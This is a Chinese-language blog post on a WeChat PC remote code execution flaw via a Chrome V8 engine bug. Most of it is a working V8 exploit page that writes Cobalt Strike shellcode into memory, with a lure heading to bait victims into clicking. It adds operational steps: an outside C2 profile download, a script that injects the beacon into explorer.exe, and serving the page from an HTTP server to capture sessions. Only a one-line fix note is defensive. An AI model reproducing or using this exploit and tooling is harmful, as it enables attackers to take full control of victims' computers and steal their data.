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一:漏洞描述
此次微信漏洞由于内置浏覽器使用google生态導緻,漏洞利用簡單,危害性級别高,攻擊者向使用者在微信上發送一條經過精心構造的惡意連結,PC 版使用者隻要點選後,shellcode(惡意代碼的一種)即會啟動,使用者的電腦可被完全控制,造成資訊洩露、木馬中毒等後果。
二: 漏洞影響
根據騰訊安全中心的公告,這是因為 chrome 浏覽器使用的 V8 引擎存在安全問題導緻的。該漏洞僅影響 windows 版本的 PC 版微信,且隻影響 3.2.1.141 以下版本。
三: 漏洞複現
使用cs生成x86的payload放置在需要加載的js中,這裡提供一個tools大佬寫的html,shellcode中放置生成的x86的c#payload,。(cs如何生成shellcode此處不示範)
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>來,寶,給你看個好東西</h1>
<script>
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
</script>
但是經過測試發現該方法點選後會話極易掉線,并且關閉浏覽器會話便消失,這裡提供另一位大佬的方法,加載自定義 malleable C2 配置檔案,将sleep時間修改為1秒,然後加載一個直接将會話遷移到explorer.exe中的cna腳本,操作如下:
下載下傳已經寫好的配置檔案(大佬已經寫好的):https://www.ailiqun.xyz/images/jquery-c2.4.0.profile
将該配置檔案放在cs服務端中,啟用的時候在末尾加上這個配置檔案
啟用後加載一個 Cobalt Strike automigrate 自動遷移程序的插件,将下面的代碼儲存為cna加載到用戶端的cs中
on beacon_initial
{
sub callback
{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
$listener = "test";
if ($2 ismatch $regex)
{
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1)
{
$arch = "x64";
}
else
{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid"))
{
bps($1, &callback);
}
}
##測試上線
有vps的可以簡單在伺服器上開個python服務,指令為
python -m SimpleHTTPServer port
,将需要點選的html放入伺服器中産生連接配接進行點選即可上線,自動生成一個explorer的會話。
四: 修複方法:更新官方釋出的最新版本即可
參考連接配接:https://ailiqun.xyz/2021/04/18/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8-v8-%E5%9C%A8%E5%BE%AE%E4%BF%A1%E4%B8%8A%E7%9A%84%E5%BA%94%E7%94%A8/
https://www.t00ls.net/viewthread.php?tid=60463&extra=&page=1